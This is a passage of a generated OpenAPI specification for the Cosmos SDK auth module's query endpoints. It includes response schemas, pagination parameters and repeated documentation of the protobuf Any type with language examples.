| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a | |
| custom JSON | |
| representation, that representation will be embedded | |
| adding a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| account_number: | |
| type: string | |
| format: uint64 | |
| sequence: | |
| type: string | |
| format: uint64 | |
| description: |- | |
| QueryAccountInfoResponse is the Query/AccountInfo response type. | |
| Since: cosmos-sdk 0.47 | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| parameters: | |
| - name: address | |
| description: address is the account address string. | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /cosmos/auth/v1beta1/accounts: | |
| get: | |
| summary: Accounts returns all the existing accounts. | |
| description: >- | |
| When called from another module, this query might consume a high amount | |
| of | |
| gas if the pagination field is incorrectly set. | |
| Since: cosmos-sdk 0.43 | |
| operationId: Accounts | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| accounts: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| title: accounts are the existing accounts | |
| pagination: | |
| description: pagination defines the pagination in the response. | |
| type: object | |
| properties: | |
| next_key: | |
| type: string | |
| format: byte | |
| description: |- | |
| next_key is the key to be passed to PageRequest.key to | |
| query the next page most efficiently. It will be empty if | |
| there are no more results. | |
| total: | |
| type: string | |
| format: uint64 | |
| title: >- | |
| total is total number of results available if | |
| PageRequest.count_total | |
| was set, its value is undefined otherwise | |
| description: >- | |
| QueryAccountsResponse is the response type for the Query/Accounts | |
| RPC method. | |
| Since: cosmos-sdk 0.43 | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| parameters: | |
| - name: pagination.key | |
| description: |- | |
| key is a value returned in PageResponse.next_key to begin | |
| querying the next page most efficiently. Only one of offset or key | |
| should be set. | |
| in: query | |
| required: false | |
| type: string | |
| format: byte | |
| - name: pagination.offset | |
| description: >- | |
| offset is a numeric offset that can be used when key is unavailable. | |
| It is less efficient than using key. Only one of offset or key | |
| should | |
| be set. | |
| in: query | |
| required: false | |
| type: string | |
| format: uint64 | |
| - name: pagination.limit | |
| description: >- | |
| limit is the total number of results to be returned in the result | |
| page. | |
| If left empty it will default to a value to be set by each app. | |
| in: query | |
| required: false | |
| type: string | |
| format: uint64 | |
| - name: pagination.count_total | |
| description: >- | |
| count_total is set to true to indicate that the result set should | |
| include | |
| a count of the total number of items available for pagination in | |
| UIs. | |
| count_total is only respected when offset is used. It is ignored | |
| when key | |
| is set. | |
| in: query | |
| required: false | |
| type: boolean | |
| - name: pagination.reverse | |
| description: >- | |
| reverse is set to true if results are to be returned in the | |
| descending order. | |
| Since: cosmos-sdk 0.43 | |
| in: query | |
| required: false | |
| type: boolean | |
| tags: | |
| - Query | |
| /cosmos/auth/v1beta1/accounts/{address}: | |
| get: | |
| summary: Account returns account details based on address. | |
| operationId: AuthAccount | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| account: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at least | |
| one "/" character. The last segment of the URL's path must | |
| represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in a | |
| canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary all | |
| types that they | |
| expect it to use in the context of Any. However, for URLs | |
| which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in the | |
| official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer message | |
| along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values in | |
| the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by default | |
| use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the last | |
| '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with an | |
| additional field `@type` which contains the type URL. Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding a | |
| field | |
| `value` which holds the custom JSON in addition to the `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| description: >- | |
| QueryAccountResponse is the response type for the Query/Account | |
| RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| parameters: | |
| - name: address | |
| description: address defines the address to query for. | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /cosmos/auth/v1beta1/address_by_id/{id}: | |
| get: | |
| summary: AccountAddressByID returns account address based on account number. | |
| description: 'Since: cosmos-sdk 0.46.2' | |
| operationId: AccountAddressByID | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| account_address: | |
| type: string | |
| description: 'Since: cosmos-sdk 0.46.2' | |
| title: >- | |
| QueryAccountAddressByIDResponse is the response type for | |
| AccountAddressByID rpc method | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| parameters: | |
| - name: id | |
| description: |- | |
| Deprecated, use account_id instead | |
| id is the account number of the address to be queried. This field | |
| should have been an uint64 (like all account numbers), and will be | |
| updated to uint64 in a future version of the auth query. | |
| in: path | |
| required: true | |
| type: string | |
| format: int64 | |
| - name: account_id | |
| description: |- | |
| account_id is the account number of the address to be queried. | |
| Since: cosmos-sdk 0.47 | |
| in: query | |
| required: false | |
| type: string | |
| format: uint64 | |
| tags: | |
| - Query | |
| /cosmos/auth/v1beta1/bech32: | |
| get: | |
| summary: Bech32Prefix queries bech32Prefix | |
| description: 'Since: cosmos-sdk 0.46' | |
| operationId: Bech32Prefix | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| bech32_prefix: | |
| type: string | |
| description: >- | |
| Bech32PrefixResponse is the response type for Bech32Prefix rpc | |
| method. | |
| Since: cosmos-sdk 0.46 | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| tags: | |
| - Query | |
| /cosmos/auth/v1beta1/bech32/{address_bytes}: | |
| get: | |
| summary: AddressBytesToString converts Account Address bytes to string | |
| description: 'Since: cosmos-sdk 0.46' | |
| operationId: AddressBytesToString | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| address_string: | |
| type: string | |
| description: >- | |
| AddressBytesToStringResponse is the response type for | |
| AddressString rpc method. | |
| Since: cosmos-sdk 0.46 | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
